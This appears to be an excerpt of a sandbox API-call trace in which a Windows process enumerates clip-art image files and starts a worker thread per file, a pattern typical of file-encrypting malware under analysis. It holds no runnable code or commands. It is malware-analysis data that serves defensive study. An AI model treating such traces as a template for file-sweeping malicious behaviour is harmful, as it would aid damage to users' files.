	[0236.515] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cd6c900, ftCreationTime.dwHighDateTime=0x1bd6ced, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3cd6c900, ftLastWriteTime.dwHighDateTime=0x1bd6ced, nFileSizeHigh=0x0, nFileSizeLow=0xd04, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0090777.WMF", cAlternateFileName="")) returned 1
	[0236.515] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.516] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15c4
	[0236.517] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.518] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e07f600, ftCreationTime.dwHighDateTime=0x1bd6ced, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3e07f600, ftLastWriteTime.dwHighDateTime=0x1bd6ced, nFileSizeHigh=0x0, nFileSizeLow=0x5b0, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0090779.WMF", cAlternateFileName="")) returned 1
	[0236.518] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.519] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a51b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15c8
	[0236.520] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.521] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e07f600, ftCreationTime.dwHighDateTime=0x1bd6ced, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3e07f600, ftLastWriteTime.dwHighDateTime=0x1bd6ced, nFileSizeHigh=0x0, nFileSizeLow=0x14c2, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0090781.WMF", cAlternateFileName="")) returned 1
	[0236.521] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.522] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4f3fd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15cc
	[0236.523] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.524] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e07f600, ftCreationTime.dwHighDateTime=0x1bd6ced, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3e07f600, ftLastWriteTime.dwHighDateTime=0x1bd6ced, nFileSizeHigh=0x0, nFileSizeLow=0x1b16, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0090783.WMF", cAlternateFileName="")) returned 1
	[0236.524] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.525] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4fad90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15d0
	[0236.526] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.527] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa442, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0093905.WMF", cAlternateFileName="")) returned 1
	[0236.527] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.527] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4fe470, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15d4
	[0236.529] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.529] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x136a, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0098497.WMF", cAlternateFileName="")) returned 1
	[0236.529] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.530] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f501b50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15d8
	[0236.531] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.532] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x60b7, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099145.JPG", cAlternateFileName="")) returned 1
	[0236.532] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.533] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f505230, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15dc
	[0236.534] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.535] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x40d4, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099146.WMF", cAlternateFileName="")) returned 1
	[0236.535] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.536] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f508910, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15e0
	[0236.538] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.539] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x5f39, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099147.JPG", cAlternateFileName="")) returned 1
	[0236.539] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.540] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f50bff0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15e4
	[0236.541] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.542] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x4752, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099148.JPG", cAlternateFileName="")) returned 1
	[0236.542] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.543] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f50f6d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15e8
	[0236.544] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.545] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x11dfe, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099149.WMF", cAlternateFileName="")) returned 1
	[0236.545] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.545] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f512db0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15ec
	[0236.547] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.547] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x559a, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099150.JPG", cAlternateFileName="")) returned 1
	[0236.761] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.762] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15f0
	[0236.763] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.764] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x65e6, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099151.WMF", cAlternateFileName="")) returned 1
	[0236.764] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.765] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15f4
	[0236.766] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.767] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x2dae, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099152.JPG", cAlternateFileName="")) returned 1
	[0236.767] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.768] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15f8
	[0236.769] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.770] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x3632, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099153.WMF", cAlternateFileName="")) returned 1
	[0236.770] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.770] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15fc
	[0236.772] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.773] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x1b11, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099154.JPG", cAlternateFileName="")) returned 1
	[0236.773] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.773] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1600
	[0236.774] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.775] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x227a, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099155.JPG", cAlternateFileName="")) returned 1
	[0236.775] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.776] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1604
	[0236.777] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.777] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x3682, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099156.JPG", cAlternateFileName="")) returned 1
	[0236.778] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.778] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1608
	[0236.779] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.780] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x25c7, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099157.JPG", cAlternateFileName="")) returned 1
	[0236.780] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.781] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x160c
	[0236.782] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.782] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x6630, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099158.WMF", cAlternateFileName="")) returned 1
	[0236.783] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.783] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1610
	[0236.785] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.785] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x6b9a, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099159.WMF", cAlternateFileName="")) returned 1
	[0236.785] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.786] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1614
	[0236.787] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.788] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x3b29, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099160.JPG", cAlternateFileName="")) returned 1
	[0236.788] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.789] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f497630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1618
	[0236.790] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.791] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x1bf2, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099161.JPG", cAlternateFileName="")) returned 1
	[0236.791] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.792] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x161c
	[0236.793] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.793] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x4cc8, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099162.JPG", cAlternateFileName="")) returned 1
	[0236.793] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.794] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1620
	[0236.859] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.860] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x5754, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099163.WMF", cAlternateFileName="")) returned 1
	[0236.860] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.861] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1624
	[0236.862] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.863] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x55ba, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099164.WMF", cAlternateFileName="")) returned 1
	[0236.863] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.864] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1628
	[0236.865] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.866] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xc53a, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0099165.JPG", cAlternateFileName="")) returned 1
	[0236.866] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.867] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x162c
	[0236.868] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
